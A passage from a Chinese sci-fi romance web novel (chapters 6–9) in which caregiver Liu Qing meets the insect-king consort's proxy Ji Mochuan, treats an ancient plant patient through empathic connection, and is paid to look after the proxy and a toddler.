莱斯特依旧没有动怒——至少他脸上看着是没有怒气,反而还有些愉快。“那我也为我刚才的合理推测向你道歉,希望你别耿耿于怀,乃至对我心存偏见。”
莱斯特似乎是真的心怀歉意,甚至为自己刚才的行为作出了解释:“事故后,我被联盟临时任命负责善后安全,其中关于虫族的安危和行动是最重要的部分。加上我在事故里也受到了一些影响,共感域并不稳定,所以刚才有些敏感了。请容我
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再次礼貌地向你询问:能告诉我你的制服是怎么坏掉的吗?”
这因果倒说得过去。
刘清的理智上理解了莱斯特刚才的冒犯,但感情上并不打算撤掉对他的偏见。
他没什么感情地陈述:“被树枝刮破的。”
莱斯特对这个答案不置可否,又问道:“那在我们来之前,你看到了什么吗?比如这个隔离箱是被什么破坏的。”
刘清偏头看了那个翻倒的隔离箱一眼,反问:“难道不是装在它里面的生物破坏的吗?”
莱斯特摇头,“这个隔离箱是我们公司做的,我对它的防护等级和模式很清楚。就算是四壁都被从里面破损,它也不会弹开舱门。除非有人用共感模拟的干扰器进行破坏,才会是现在这种状况。”
刘清:“这场星际交通事故这么严重,还有虫王的绝对伴侣被卷入其中,其蜕变的共感潮足以报废所有事故中的装置。您公司的箱子再精妙,也不可能完全不受影响。再说了,就算没受到影响,但或许就这么恰巧,您公司造出了个残次品呢?”
“……”老夏又用手肘撞了刘清的腰一下。但刘清的话已经说完了,被撞后只是仰头望着天,没去看莱斯特的脸色。只知道周围安静得很。
直到几秒钟后,他听到了一阵“嘎吱”的动静,这才收回眼珠子:隔离区的门开了。
从大门里头走出来了四个人,三个虫侍,一个“正常人”。正常人走在最前头,一个虫侍落在他左后方,另外两个虫侍又往后落了一步,一左一右,手持长戟地跟着。先后秩序分明。
刘清认出左后方的虫侍是他认得的那个,那前边这个正常人……他不禁仔细打量了他一番。
这是个看上去跟他差不多年纪的男人,黑发黑瞳,阔额高鼻,穿一身衬衫长裤,套了个黑色马甲,像某个贵族家里教养极好的温顺小少爷——特别是在他旁边及身后的虫侍的衬托下,这位“小少爷”就显得越发脱俗出尘了。
这是伪王的人形态吗?刘清在心里思索着。
人群已经默不作声地分开两边,露出跟刘清站在一起的莱斯特——显然,他就是这群人的“话事人”。
莱斯特已经放下了手里的女儿,露西亚紧挨着莱斯特的皮靴,尾巴卷到了前头,用嘴巴叼着。这是莱斯特双形态幼崽感到害怕的时候,常常会出现的动作。
她恐惧的源头显而易见。但刘清却并没有感觉到对方的共感域与情绪。
这很奇怪。刘清知道自己对共感域的敏锐程度,今天防护又这么薄弱,如果对方是伪王,就那种统治数十亿人的共感域体量,他没道理一点都察觉不到。
刘清思忖着,却逐渐发现了不对劲——那个小少爷是径直朝他来的。
“……”刘清一下精神了,不由自主站直了身体。
小少爷还没走到刘清的跟前,脸上就先带了笑。他在刘清跟前站定后,朝刘清伸出右手,递出了一个东西:刘清的金属铭牌。
“刘清。”小少爷念出了刘清的名字,停顿了一下,笑意更甚,“还给你。”
毫无预兆的,刘清全身的汗毛都竖起来了。紧接着,他又听到旁边传来莱斯特很轻的声音:“这就是你的树枝?”
刘清:“……”
6. 季末川。
“谢谢您捡到了我的工作牌。”刘清面不改色、非常礼貌地从小少爷的手里接过工作铭牌。
同时无视了莱斯特的问话。
小少爷没有反驳刘清的说法。他顺势把手侧过来,往下移了一些,自我介绍道:“我叫季末川。”
刘清不是很情愿地握了一下,“我是刘清,护理所的高级护理员。”
“我知道。”季末川指了下刘清手里的铭牌,“我‘捡到’的这个牌子上有写。”
“……”
刘清当没有听到他加重的音节,垂目当起了摆件——尽管事已至此,他还是希望能跟虫族保持距离。
莱斯特见刘清反应平平,没来由地感到了一丝愉快,乃至于冲季末川开口的时候,声音都爽朗得很。
“您好,我是暂时负责事故善后安全的库恩·莱斯特,联盟军上校。不知道该怎么称呼您?”
季末川并没有错过莱斯特的那点愉悦,他屈尊俯就地把视线扫过来,头都没动,口也没开。
回答莱斯特的是季末川身后的虫侍。
“莱斯特上校,您好。这位是康恩殿下的代理人,季末川殿下。”
康恩殿下——刘清也终于记起了虫王的绝对伴侣的尊称。
但“代理人”还是第一次听说。
莱斯特也是第一次听说这个称呼。
但这不是重点。
重点在于,莱斯特注意到了季末川对他的态度——那种纡尊降贵的,让他不舒服的神态。
简直是在挑战他高贵的尊严。
于是莱斯特礼尚往来地无视了虫侍,噙着一抹皮笑肉不笑的弧度,问季末川:“据我所知,虫族的种群分明,等级森严。我从未听说过在虫王的水晶宫里,有能做康恩殿下这样级别的‘代理人’——这类社会身份的存在。不知道季末川殿下是虫族哪个种群?”
季末川答非所问。“显然你对虫族还知之甚少。”
“……”
有一说一,季末川的语气并不尖锐,但配着他那张文质彬彬的脸,怎么看都像是在贴脸开大。
刘清明显看到莱斯特胸的腔扩张,很是用力地深吸了一口气。
气死了吧。
刘清继续垂目,嘴角往上翘了一个像素点。
莱斯特身份地位所致,必定不是意气用事的人,这会也还挂着一层薄薄的笑。
“虫族一向深居简出,又对在外谈论种族事宜的行为讳莫如深,想要了解你们确实非常不容易。不过我相信接下来一个月的时间,必定会加深我们的相互了解。也希望在这一个月的时间里,你们能配合我们的工作。”
紧接着,他的语气就突然转了一个大弯,变得强势。
“这次事故引起了联盟各方的高度重视。虽然暂时没有造成惨烈的伤亡,但客运舰的具体情况并不清楚,而送到护理所的人的共感域都出现了游离倾向——这是被高等级、高融合度的共感域强制纳入才会出现的状态。
“当然,我们并不是在指证康恩殿下。只是考虑到康恩殿下作为此次事件里的最高共感域存在,对共感冲击的承受力远高于其他种族,观察到的事故细节也必然更多。
“所以,我希望能跟康恩殿下面谈,赶在受灾者的共感游离倾向加重、乃至共感崩塌之前,找出这次集体共感游离的症结所在。”
嘶——
有人抽了一口气,又很快消声。
刘清完全能够理解。刚才莱斯特这番话乍听滴水不漏,但底层逻辑就是在指证虫族为肇事嫌疑人。
而虫族不仅有着“野蛮、原始、暴力”等等名声,还有着“亚人科最强共感域种族”的不争事实。
简而言之,就是一只没上安全阀的煤气罐。
而就在刚才,莱斯特朝这只煤气罐踹了一脚。
刘清几乎能听到那些人的心脏泵血的砰砰声。有的人都闭上了眼睛,也不知道在心里骂了莱斯特多少遍。
刘清倒很平静,因为他没有感觉到季末川和虫侍的任何负面情绪。
果然,季末川并没有与莱斯特计较,轻飘飘地收回了斜落在莱斯特身上的视线。
彻底的无视。
“……”
刘清余光一挪,果然瞄到莱斯特的胸膛又大弧度起伏了一下。
希望莱斯特没有高血压。
刘清收回视线,听到之前的虫侍开了口。
“莱斯特上校,我叫塞弗恩特,虫侍领主。关于事故的所有事宜,由我与您详谈,并配合您的工作。”
虫侍领主?
刘清一惊,不由抬头朝塞弗恩特看了一眼,然后又看向季末川。
季末川在刘清看过来的同时,原本浅浅的笑变成了双眼弯弯的笑。
“……”
麻烦了。
无论是“虫侍领主跟随的居然是伪王而不是虫王”,还是“伪王和他的代理人盯上了自己”,对刘清来说都是一个巨大的坑。
更糟糕的是,刘清是自己把自己朝坑里踹了一脚。
刘清:“……”
我这该死的好奇心。
其他人也被塞弗恩特的自我介绍惊讶到了,毕竟“虫王的专属侍奉种群的领主绝不会离开虫王”在外是个常识。
但也拜此所赐,莱斯特那被自尊心填满的脑袋终于清醒了一点。
他重新审视了季末川一眼,语气尊重了不少。
“季末川殿下作为代理人,不参与调查吗?”
季末川还是没理他,塞弗恩特重复道:“虫族在护理所对外的一切事宜由我负责。”
紧接着,塞弗恩特做了一个“请”的手势,方向是隔离区内部。
“……”
莱斯特的齿关轻微挫了一下。
“请稍等。”
他弯腰捞起靠在脚边的露西亚,一把塞到了刘清的怀里。
刘清:“???”
莱斯特快速收
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回了手,对刘清露出一个亲近的笑,语气也熟稔得很。
“刘清,我这边会很忙,照顾好你的小侄女。”
说完他根本不等刘清反应,转身大步流星地朝隔离区走去。
其他人也都乌泱泱地跟了上去。
“……”
你大爷。
刘清心里骂街。垂眸看了眼怀里瑟缩的崽,又转头去看还没走的老夏。
老夏知道他啥意思,皱眉道:“我也得跟着去看看情况。这事要是处理不好,咱们护理所立马就得关门。”
刘清托举起手里的崽,“那这个怎么办?”
老夏:“你带着。”
“我?”
“不然呢?你让一个共感域受损的三岁小孩自生自灭?”
“……”
倒也不用上道德。
“还有,你带季末川殿下了解一下护理所的环境。”
“???”
刘清不敢置信,“你认真的?”
老夏恨铁不成钢,磨着牙阴阳刘清,“那谁让你被树枝给从大广场刮到对角线的北隔离区来了呢?”
“……”
刘清自知理亏,闭嘴了。但客观来讲,他确实也没料到伪王对他的态度能是这样。
老夏又乜了他一眼,然后看向季末川,“季末川殿下,如果有任何需要,您都可以跟刘清提。护理所会竭尽所能地满足客户的所有需求。”
季末川一改刚才对莱斯特的态度,很是善解人意好说话的样子,“我知道了。谢谢。”
老夏受宠若惊,但也知道他的好脾气是源于什么。于是老夏看向刘清的眼神更复杂了。
刘清:“……”
别看我,我现在心情也很复杂。
“那我就先失陪了。”
老夏对季末川欠了一礼,快步跟上了前方的人群。
空地很快只剩下刘清跟季末川。
刘清看向季末川,季末川也看着他,并先打破了沉默。
“如果你有工作要忙,我可以跟着你,不会打扰你的。”
你不跟着我更好。
刘清向来不喜欢绕圈子,开门见山道:“我能请教一个问题吗?”
“你问。”
“您为什么对我这么……友好?”
季末川露出诧异的表情,“不明显吗?因为我喜欢你啊。”
刘清:“……”
阿强:“哇哦~”
季末川的视线循声朝刘清的肩膀上看了一眼,阿强立马把头撇到一边继续装死挂件。
刘清:“这真是个让人难以信服的理由。”
季末川:“但是事实。你很难相信一见倾心吗?”
“……”
我信你的邪。
刘清:“那康恩殿下为什么要拿走我的铭牌?”
季末川:“他也喜欢你。”
“……”
好歹重新编一个吧。
7. 共感连接。
之后刘清又问了季末川几个问题,可但凡他想弄清楚伪王跟季末川对他态度的问题,全部被似是而非地糊弄过去了。
于是刘清就明白了,这个人不会告诉他。
不说就算了。
没人比刘清更懂什么叫“顺其自然”。
刘清象征性地问了一句:“我要去工作,季末川殿下要跟来吗?”
季末川果然点头,“当然,我很乐意。”
“那么,我希望在我工作的过程中,您不要做任何干扰我的行为,可以吗?”
“请放心,我绝对不会干扰你。我只是对你的一切都很好奇。”
“……”
刘清转身去树下拿自己的代步车,阿强在他的耳朵边弹出了虚拟耳机,跟他咬耳朵。
“刘清,他不会真看上你了吧?”
“你就不能盼我点好?”
“事实胜于雄辩,你瞧瞧他说的都是些什么骚话?”
“……”
“他跟伪王到底什么关系?”
“你问我?”
“你去问他啊。”
“你看他刚才答了吗?”
“答了啊。人家对你一见倾心,你不相信啊。”
“……”
刘清把肩膀上的阿强抓了下来,手动关了它的网卡。
阿强着急,“咋还恼羞成怒了?禁网算什么好汉?”
刘清关掉了虚拟耳机,把露西亚放到代步车的车板上,推着走到了季末川的跟前。
“走吧,季末川殿下,今天我会很忙。”
季末川关心道:“那你如果累了,随时跟我说。我应该会一点按摩。”
刘清:“……”
大可不必。
·
高级护理员,护理所一共有30名,按等级排列序号,刘清排位第一。
顺便,梁三山排第十五。
高级护理员不参与日常护理,每个高级护理员都有自己的护理团队,负责的“病人”身份非富即贵。
刘清手下目前有七个病人。
本来今天他是没有护理计划的,所以只挑了想看的病人去看。
第一个病人是棵万年草。
是的,草。
所谓亚人科,其划分是以“共感”为依据的,而非外形——虫族多年不被划入亚人科,是因为它们的“集中共感”饱受争议。
迄今为止,都有不少观点认为“虫族=虫王”。即:虫族并非一个种族,而是一种有庞大共感域的“个体”。
回归原题。
万年草的种族被简单叫作“植物族”,他们从土里出生,生命长短不定,其居住的星球产出“魂精植物”——可以理解为针对共感的特效药和保健品。
这位万年草已经很老了,老到她自己都记不清自己的名字和年纪,老到她的根部足以铺满护理所地下车库一层的大半区域。
刘清叫她“老万”。
她的问题主要是“共感停滞”。
推开门的时候,刘清转身提醒季末川,“老万的共感域很特殊,我建议您不要跟进去。”
季末川却说:“我对自己的共感域还是有自信的。”
这个刘清当然知道,他刚才也只是作个“免责声明”。
“随您。”
刘清把露西亚装进了一个防护球,让阿强在门口看着,自己走了进去。
季末川紧随其后。
…
病房,或者说玻璃花房。
里头空空如也,什么仪器也没有。房间中央耸立着一株巨大的藤蔓植物,叶片呈现深绿色,表面覆盖着细密的银色纹路,晃动的时候,像是一片银河。
她的藤蔓在中央交缠出一棵“树干”,树干上粗细不一的藤蔓又虬结出一张苍老的脸。
这张脸的眉心位置,有一颗发光的果实,散发出柔和的光芒。
那是植物族外露的共感域核心。
又被叫作“魂核”。
老万的眼睛闭着,像是在睡。但是当刘清走进去后,一丛藤蔓悄无声息地从四面八方爬过来,一秒之内卷住了刘清的手脚和身体,把他倒提了起来。
却完全无视了跟在刘清身后的季末川。
季末川目睹一切,却无动于衷。视线落在刘清因倒挂而被露出来的腹部上——竟然有形状分明的腹肌。
同时,树干上的眼睛睁开了——她的眼珠也是木头的,但是墨绿色。
“啊,刘清。”
老万认得刘清,声音浑浊而低沉,疑惑道:“你怎么在飞?”
刘清:“……”
刘清:“是您在挂我。”
“哦。抱歉。”
藤蔓轻飘飘把刘清放到了地上,尖尖上的树叶还贴心地给刘清拉下了衣摆。
“你来做什么?”
刘清整理了下衣服,答道:“今天护理所来了一批空难伤员,我给您包了些难吃的‘饼干’,您要不要尝尝?”
老万顺从地晃动了一下树冠,“当然可以。”
刘清走到她的跟前站定,脑后的发丝像是被风抚过,轻轻掀起了几缕,然后露出了藏在其中的两根线粗的“白发”。
它们很短,几乎是透明的,存在感非常微弱。黑发一落回去,就又完全看不到了。
紧接着,老万眉心的魂核亮了一阵微光,她墨绿的眼珠也泛出一些灵动的光泽。
——那是刘清“白发”里延伸出的细丝,连接到了老万的魂核上。
刘清今天在广场上无意接收了太多的情绪,要让他自己消化或者遗忘比较费时,全部打包赠给老万是最简单且双赢的办法。
但没料到,刘清刚与老万的魂核接触,瞬间,他感到一股强大的情绪洪流涌入自己的脑海——那是老万的记忆和情感,像一片无尽的海洋,沉寂着厚厚的火山灰,腐朽、深不可测。
但他还是从这片腐朽的海洋里,看到了老万还是一颗种子时的记忆,感受到她在泥土中挣扎生长的痛苦和喜悦;他看到她经历了无数个春夏秋冬,见证了无数生命的诞生和消亡;他看到她逐渐变老,麻木,开始忘记自身存在的意义。
——共感连接,连接方可以读取对方的记忆、情感、乃至意识。仿佛身体被剖开,把灵魂露给别人看。
这对被连接者来说,绝对不是一件愉快的事。
“哦,这可不太礼貌。”
老万的声音在刘清的脑海响起,下一秒,共感连接被切断,刘清恢复了清醒。
“嘶……”
刘清扶住自己的额头,万年草残留的记忆影响洪流一般冲刷着他的感知和大脑,他感觉到了一阵剧烈的头痛。
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刘清这才意识到,自己的共感屏障竟不自觉都快撤掉了。于是他急忙重建自己的屏障,却发现这一过程颇为艰难。
季末川走上去扶住了刘清的手臂,“你还好吗?”
刘清生怕自己再汲取到季末川的共感域,正想甩开手臂,却发现他的屏障已然恢复了。
季末川留给刘清的感知,只有他右手掌心的炙热。
“还好。谢谢。”
刘清侧身让开了季末川的手。
季末川也只是笑着点了下头,又退回了一步。
刘清抬头看向老万,对她道歉:“抱歉,我今天的状态不好,误触了共感连接。希望您原谅我的失礼。”
老万豁达地笑了,“没关系。你能出这样的失误,倒让我确认了你确实是一个人类,而不是机械族——你的治疗每次都精准得可怕。”
刘清:“……”
老万:“而且,你也给我留了一些东西:恐惧、慌张、愤怒,还有懊恼——这是你的情绪吗?我是说这一份后悔。你今天做了什么吗?”
刘清:“……”
大概是把自己卖了吧。
刘清:“一点不足挂齿的小事。您现在感觉如何?”
老万沉吟片刻,说道:“你刚才强制连接的这一下,倒这让我捡到了一些记忆碎片:我记起了我刚成年,第一次从土里把自己拔起来的时候。我不小心跑到了沙滩上,忘记了初次离土的时限,差点以为自己会枯萎在那里。呵呵呵……真是可爱的时光。”
刘清:“那么,希望这些回忆可以让您清醒一些时间。”
老万:“当然,它们会的。谢谢你,刘清。——那位是你的朋友吗?”
刘清回头看了眼季末川,“不是。他是今天事故的一员,护理所的客人。我带他熟悉一下护理所的环境。”
老万:“哦,他很英俊。你们会成为好朋友的。”
刘清:“……”
后半句且不提,这个“英俊”是怎么从这张小白花的脸蛋上看出来的?
季末川笑吟吟地对老万行了个绅士礼,“谢谢您的夸奖。您的叶片也都很美丽。”
老万“呵呵呵”地笑了,“也很会说话。刘清,你一定会喜欢他的。”
刘清:“……”
婉拒了。
…
离开老万的病房,季末川主动拉起了话题:“她快死了吗?”
刘清意外地看了季末川一眼。
季末川:“我猜对了?”
刘清点头,“她的后代说她已经活了千年,即将枯萎。行将就木的植物族会进入一个漫长的共感停滞阶段,会影响到周围的族人和后代,导致他们情绪抑郁,甚至自残、自我了断。
“老万的子孙太爱她,他们的共感域非常亲近,所承受的影响也比其他人大。所以他们不得不把她送到这里,希望能够让她的共感域保持间歇的清醒,直到她枯萎。”
“所以你就用情绪反哺来激发她迟钝的感知?”
“这是最简单,也最方便的办法。”
“但共感连接可不简单。”
“……”
刘清面无表情地看着季末川,季末川还是那样笑着,一点敌意也没有,眼里只有纯粹的好奇。
“你的共感域等级,不止是E吧。”
8. 假鞘。
刘清知道季末川为什么会问这个。
因为“共感连接”。
共感连接顾名思义,不多作解释。
它最大的难点在于“本能抵抗”。
两个人的共感连接中,往往需要被连接者注射药物,乃至昏迷,以放弃本能抵抗——即使如此,连接者也几乎只能做到外围引导、纾解。
稍有不慎,就会被对方的共感域感染、伤害,乃至吞噬。
像刘清刚才那样,没有任何前提准备手段,直接侵入一个清醒的、大体量、且跨种族的共感域,甚至已经抵达记忆和情感的深层范围。
这不是任何一个E级共感能做到的。
刘清没打算回答,但紧接着他又听到季末川问:“跟你后脑上的介质触须有关吗?”
刘清一惊,表情难以隐藏。
季末川见状,恍然道:“这是你的秘密吗?抱歉,你刚才背对着我,想要不看到真的很难。你放心,我会保密的。”
“……”
刘清也是这时候才后知后觉地发觉了一个事实:虫族伪王的代理人,共感域等级大概率比他高……很多。
这两条介质纤维就是刘清的“挂”,因为他杂血的身体承担不了这样的共感域,才会出现这种外置装置。
这东西对共感域等级低于他的人有自动屏蔽效应,但对共感域等级高的人就没这效果了。
这么多年来,刘清就没遇到比自己共感域强的,所以完全忽略了它的存在。
但问题不大。
刘清没有立刻承认,而是反问道:“如果我回答了您,您是不是也能解开我的一些疑惑?”
季末川欣然应允,“当然。”
刘清:“我是双S等级,但对外声称E。——您是虫侍吗?”
季末川也没立刻回答,他先看了一眼刘清怀里抱着的露西亚。
这一路上,露西亚都非常安静地团成球,跟阿强一起装聋作哑当摆件。
但显然季末川并没忘记她。
虚空荡过一瞬的波动,就像是有一只无形的手捏住了空气,朝着刘清的皮肤按压了一下:共感屏障。
而且是外化的共感屏障。
这是刘清见到的除自己以外的第一个能外化屏障的人。
季末川并不想让其他人听到答案——哪怕对方是个三岁小孩。
但刘清注意到,他没有屏蔽阿强。
“我不是虫侍,也不是任何一个虫目。你听说过假鞘吗?”
“没有。”
“虫王的绝对伴侣并非只有一个,而是两个。准确说,是两颗卵。这两颗卵在破壳的竞争中,先出来的成为绝对伴侣,另外一个就会成为废卵,无法破壳,成了绝对伴侣的诸如备用体的存在。”
刘清猜到了答案,“所以您是假鞘?”
“也不能这么说。这个身体是假鞘,但假鞘不具备自我意识,我现在的共感域是康恩殿下的意识映射。
“‘我’很喜欢你,所以即使已经重伤,却还是非常不理智地放弃了消化假鞘来治愈本体,而是把假鞘作为移动终端,以达到能最快地与你见面的目的。”
哦,那真是荣幸。
刘清无动于衷,并敏锐捕捉到了季末川的不满,“您似乎并不认可康恩殿下的行为?”
“不,我认可。我强调‘我’的选择,只是想告诉你‘我’非常重视你。”
“……”
“虽然我并没有被赋予过多的情绪和记忆,但我相信‘我’这样做,一定是因为非常非常喜欢你——因为连我都情不自禁地想要亲近你。”
“……”
刘清选择性耳聋,又问:“那么,您等同于康恩殿下?”
季末川:“个人行为和意识上不等同,言行的权限等同。”
刘清点点头,懂了。
“我思故我在”的经典辩题。用人话说就是:他是他。
不过。
刘清疑惑道:“您就这样告诉我这些,合适吗?这些信息应该是机密吧?”
虫族对外公布的信息寥寥无几,关于水晶宫里的信息更是凤毛麟角。刚才季末川说的这些信息量,足以抵过联盟对虫王相关已知的信息量的三分之一。
季末川指了下刘清手里的露西亚球,“所以我屏蔽了它。”
刘清指向自己的肩膀,“但放过了它。”
阿强:“???”
不是,兄弟,相煎何太急?
季末川莞尔,“他是个很特别的智能,而且属于你。所以我认为它可以听。”
阿强松了口气,指责刘清,“你看看人家,多大气!”
刘清:“闭嘴。”
阿强:“你急了。”
“……”
刘清正要把阿强正法,季末川却又积极主动地跳出来,向刘清发出邀请。
“对了,我穿戴了皮囊,你要不要摸摸看?”
刘清:“……啊?”
季末川朝刘清伸出胳膊,介绍道:“皮囊是用古生种的皮蜕制作的伪装,就像人皮面具,只不过是全身的。因为……”
刘清打断他,“我知道皮囊。”
虫族的第一形态是虫,拟态才是人。但不是每一个种族个体都具备第二形态,于是“皮囊”应运而生。
据说,无论体型多夸张的虫子,都可以塞进皮囊里,变成一个正常体型范围内的人类。只是样貌随机。
刘清看了看季末川的脸,“所以这不是康恩殿下的人形态?”
季末川:“嗯,假鞘没有人形。而且这是从舰艇残骸里拼凑出的皮囊,样貌也是随机的。你想摸一下吗?”
刘清没有说话。
怎么说呢。
虽然季末川从见面就对他很热情,但他总觉得季末川的葫芦里还装着别的药。
季末川见刘清不动,便主动凑了过来,撸起袖子,露出一截白皙的小臂。
他的小臂的肌肉线条紧实漂亮,但却缺少生机,就像是鞣制的皮革。上面有一道道暗红色的凸起,凸起的部分表皮薄软、光滑,一路增生蔓延至衣袖里头。
“虫族的皮囊跟莱斯特的鳞甲很像,可以隔绝共感干扰,所以你触碰到也不会建立连接。虫王的绝对伴侣的代理人的皮囊,真的不摸一下吗?”
“……”
绝对有坑。
但机会也确实难得。
刘清看了季末川一眼,季末川回了他一个灿烂的笑。
刘清:“……”
考虑三秒,刘清伸出了一根手指,轻轻落在了季末川白皙的小臂上——触感丝滑细腻,比常人皮肤厚一些、韧一些,下压的时候没有“肌肉”“血管”之类的东西,只有一片坚硬:是甲壳。
它非常逼真,甚至汗毛都有,可当你触碰到它的时候,就会从心底里生出一种“假人”的强烈违和感。
刘清没忍住哆嗦了一下,手指也跟着在季末川的胳膊上弹了一下。
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然后下一秒他就听到了季末川的“惨叫”。
“啊!”
刘清吓了一跳,猛地收回了手,狐疑地看向季末川。
季末川一脸柔弱,“你按疼我了。”
“……?”
“这身皮囊不够大,我为了穿进去,肢体折叠的程度很重,一直在忍着疼。你刚才那一下简直跟揍了我一拳一样。”
“不是你让我摸的?”
“对,所以是我自愿的,活该。”
“……”
季末川揉着胳膊,自怨自艾,“不知道自讨苦吃但还算是护理所贵客的我,能得到一顿免费的午饭吗?”
刘清:“……”
…
刘清请了季末川午饭——不然呢?
护理所里配套齐全,各类餐厅比比皆是,但刘清选择了员工食堂——物美价廉的二十块定餐。
季末川倒没挑,很开心地跟着刘清领了盒饭。
落座后,刘清才注意到怀里装摆件的露西亚,于是急忙在终端上给她点了份儿童套餐。
露西亚得到了刘清的关注,终于活泛过来,“妈妈,我饿了。”
刘清面无表情地继续纠正,“我不是你妈妈,不准再叫我妈妈。”
他的语气并不重,但露西亚却像是被劈头骂了一顿那般瑟缩了一下,然后眼里快速滚下了眼泪珠子。
当刘清反应过来的时候,露西亚已经嚎哭出声:“爸爸不要我了,妈妈也不要我了,没有人要露西亚了……”
刘清完全不知道她的情绪洪流是为哪般,一时间给哭懵住了。
“不是,为什么啊?”
阿强在一边翻了个白眼,“你跟一个三岁小孩讲为什么?你咋不干脆让她写论文呢?”
刘清:“……”
季末川拆了筷,自告奋勇地毛遂自荐,“我可以截断她的情绪感知。”
刘清:“……”
阿强:“……”
做个人吧。
刘清拒绝了季末川的“好意”,采取了最简单直接的情绪干预——他释放出平缓的共感域包裹住了露西亚,传递出的稳定、安全的信息直抵露西亚的潜意识,她几乎立刻就停下了抽噎。
然后刘清对她晓之以理,“露西亚,你爸爸是去工作了,并且让我帮他照顾你,并没有不要你。你记得的,对吗?”
露西亚眨了眨眼,点点头,“嗯。记得。”
刘清松了口气,又哄了两句,“所以你就乖乖吃饭等爸爸就好。看,我给你点了午餐。”
刘清把订单页面给露西亚看。
露西亚果然被转移了注意力,扭头看了一眼。然后一伸爪子,按在虚拟屏幕上,“我不要吃苹果。”
“……”
行行行。
刘清换了根香蕉,露西亚立马又说:“也不要吃这个。”
刘清:“……苹果跟香蕉选一个。”
露西亚不高兴地抽了下鼻子,委屈道:“那还是苹果吧。妈妈,我鼻涕出来了。”
刘清:“……”
刘清任劳任怨地给露西亚擦了鼻涕,察觉到她的情绪彻底平复了,刘清才收回共感域。
就在共感域收回的刹那,刘清的脑袋又针扎一般刺疼了几秒。
“嘶。”
刘清忍过疼痛,脸色有些微凝重。
之前在老万那里重建的共感屏障,以比之前还要快的速度在二次崩塌。
9. 月供保姆。
问题不大。
虽然刘清从没出过这样的情况,但共感屏障就是个操控精度的问题,至于疼——八成还是昨晚老贾的假酒造的。
季末川没错过刘清的皱眉,再次毛遂自荐,“你头疼吗?我可以帮你按摩——我确实会一点。”
“……心领了。”
刘清快速重构了屏障,把露西亚放到餐桌上,然后起身走到一边去给老夏打电话。
电话打了两遍,老夏才接。
刘清先发制人,“你侄子什么时候把他闺女带回去?”
“早着呢。”
老夏的声音带着火药味,一听就知道跟虫族的谈话不太顺利。
“总之你先带着,今天护理所里乱得很,别把孩子弄丢了。”
“我不会带孩子,而且总不能让我晚上也带着她吧?”
“那确实不能。”
“是吧。”
“季末川殿下你也得带着。”
“……啊?”
老夏换了个安静点的地方。
“虽然塞弗恩特没有明说季末川到底是什么身份,但已经明确告诉我们,季末川的感知、记忆都会传递回伪王那里。所以千万怠慢不得他。”
这事刘清已经被告知了。但是怠慢嘛……
刘清回头看了眼:季末川已经吃上了,慢条斯理。发觉他看过来,季末川就抬起头——刘清又飞快地收回了视线。
二十块定餐,有肉有饭有蔬菜,营养健康,当事人还没有怨言,绝对算不上怠慢……吧。
刘清没多嘴,只是说:“这么大尊佛,供久了迟早会有怠慢的时候,与其担惊受怕,早点送走才是正道。”
“你以为我不想啊?”
“怎么?”
哎!
老夏叹了老大一口气,“这边舰艇刚撞上,那边虫族就进入了繁衍季。至少一个月里,他们的整个星球都是封闭状态,进出无路。”
刘清恍然。
怪不得那会莱斯特会说“接下来一个月的时间”。
“那就不能送到别的地方?边缘星,矿星,或者流放星球,哪个不比放在地球安全?”
老夏还是那句话,“你以为我不想?谁敢?不说虫族会不会生气,就是途中万一再出个岔子,联盟有人敢担责吗?”
“你侄子不是负责人吗?”
“……你是真恨他啊。”
刘清撇嘴。
“那让我带着季末川是什么意思?他又不是三岁小孩。”
“按人类年纪算,他才24小时不到。”
“啊?”
“据塞弗恩特的说法,这位绝对伴侣是在事故发生时破壳的。”
“……”
刘清捋了捋信息,新闻确实只说虫王一周前送走了绝对伴侣,但没有说送走的是卵还是人。
“就算他才破壳,但虫族的年纪又不是按时间算,蜕变就算成年。他已经蜕变了。”
“所以让你带他不是因为年纪。”
“那是什么?”
“虫王与绝对伴侣之间有绝对吸引力,你知道吧?”
“所以我才建议你侄子赶紧带他们走,牺牲他一个小我,拯救地球大世界,多荣耀。”
“……”
老夏无奈,“死了这条心吧,走不了——联盟署关于这点已经定论了。”
“哦,真遗憾。”
“……”
刘清回到正题,“所以到底为什么要我带着季末川?”
“因为他对你感兴趣。”
“……你终于是要开始做皮条生意了。”
老夏半真半假道:“这我还真不敢保证。”
刘清:“……”
老夏:“这事,按塞弗恩特的话说:由于虫星封闭,虫王跟绝对伴侣之间的联结被切断了,同时绝对伴侣受到事故影响,共感域可能出现了一些问题。于是就导致了一个结果:他把第一眼看到的、共感域等级较高的你,当做了虫王。”
刘清翻了个白眼,“这种鬼话你也信?”
“信不信不是重点。重点在于联盟署不敢赌。
“塞弗恩特认为,虫王与绝对伴侣间的‘绝对吸引’被季末川单方向附着在你身上——这事儿有目共睹。如果要强制分离你跟季末川,可能会导致季末川不稳定,乃至伪王不稳定,乃至护理所要遭殃,乃至整个生活区都跟着倒霉。”
刘清不吃这套,“道德绑架对我没用,我也是受害者。”
老夏遗憾:果然这招不行。
“好吧,那给你说点有用的。三千万通用星币,你一个月的保姆费。”
刘清立马:“行。”
老夏:“……你刚才不是还挺抗拒?”
“谁跟钱过不去啊?反正这事我已经被搅和进去了,总不能赔了夫人又折兵吧。”
“……”
“先给我一千万预付款。他这一个月的开支走虫族自己的账。另外我手里的普症病人也都转给别人吧,一切季末川殿下优先。”
老夏在那头磨牙,“精死你得了。”
“惭愧,只学到了您的皮毛。”
“……”
老夏“啪”一下把电话挂了。
刘清撇嘴笑了一下,关掉虚拟耳机,转身回到了座位。刚要坐下,却发现他的餐盘被挪到了季末川的旁边。
刘清:“……”
季末川看向他,指了下餐盘原先的位置,“弄脏了。”
桌子不大,另一头是刘清放下的露西亚,以及送来的……四分五裂的儿童套餐。
露西亚站在七零八落的套餐中,身上裹着酱汁、面包屑、肉沫,嘴巴跟脑袋更是五彩缤纷,且缤纷程度在逐渐加深。
“……”
刘清的眼睛跟心灵受到了一点点冲击,他欲言又止,止又语言,最终重新打开了终端。
片刻,北隔离区的老夏收到了来自刘清的一张账单:幼崽护理费及一日看护费:一万星币;高级护理员精神损失费:五十万星币。
老夏:“???”
土匪吗?
…
梁三山来的时候,已经是快一个小时后了。
她的红色卷
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发全部盘了起来,白色制服上沾了血迹,裤脚挽起了一边,边走边啃着汉堡,气势汹汹。
知道的说这是护理师,不知道的,还以为是哪儿来的街溜子。
她走过来便大马金刀地坐下,一脚踩在餐桌的支架上。刘清把给她点的饮料放过去,梁三山拿起就喝了一大口。
“怎么是热的?”
刘清无语,“早上疼到站不起来的是谁?”
“哦,谢谢刘妈妈。”
“……”
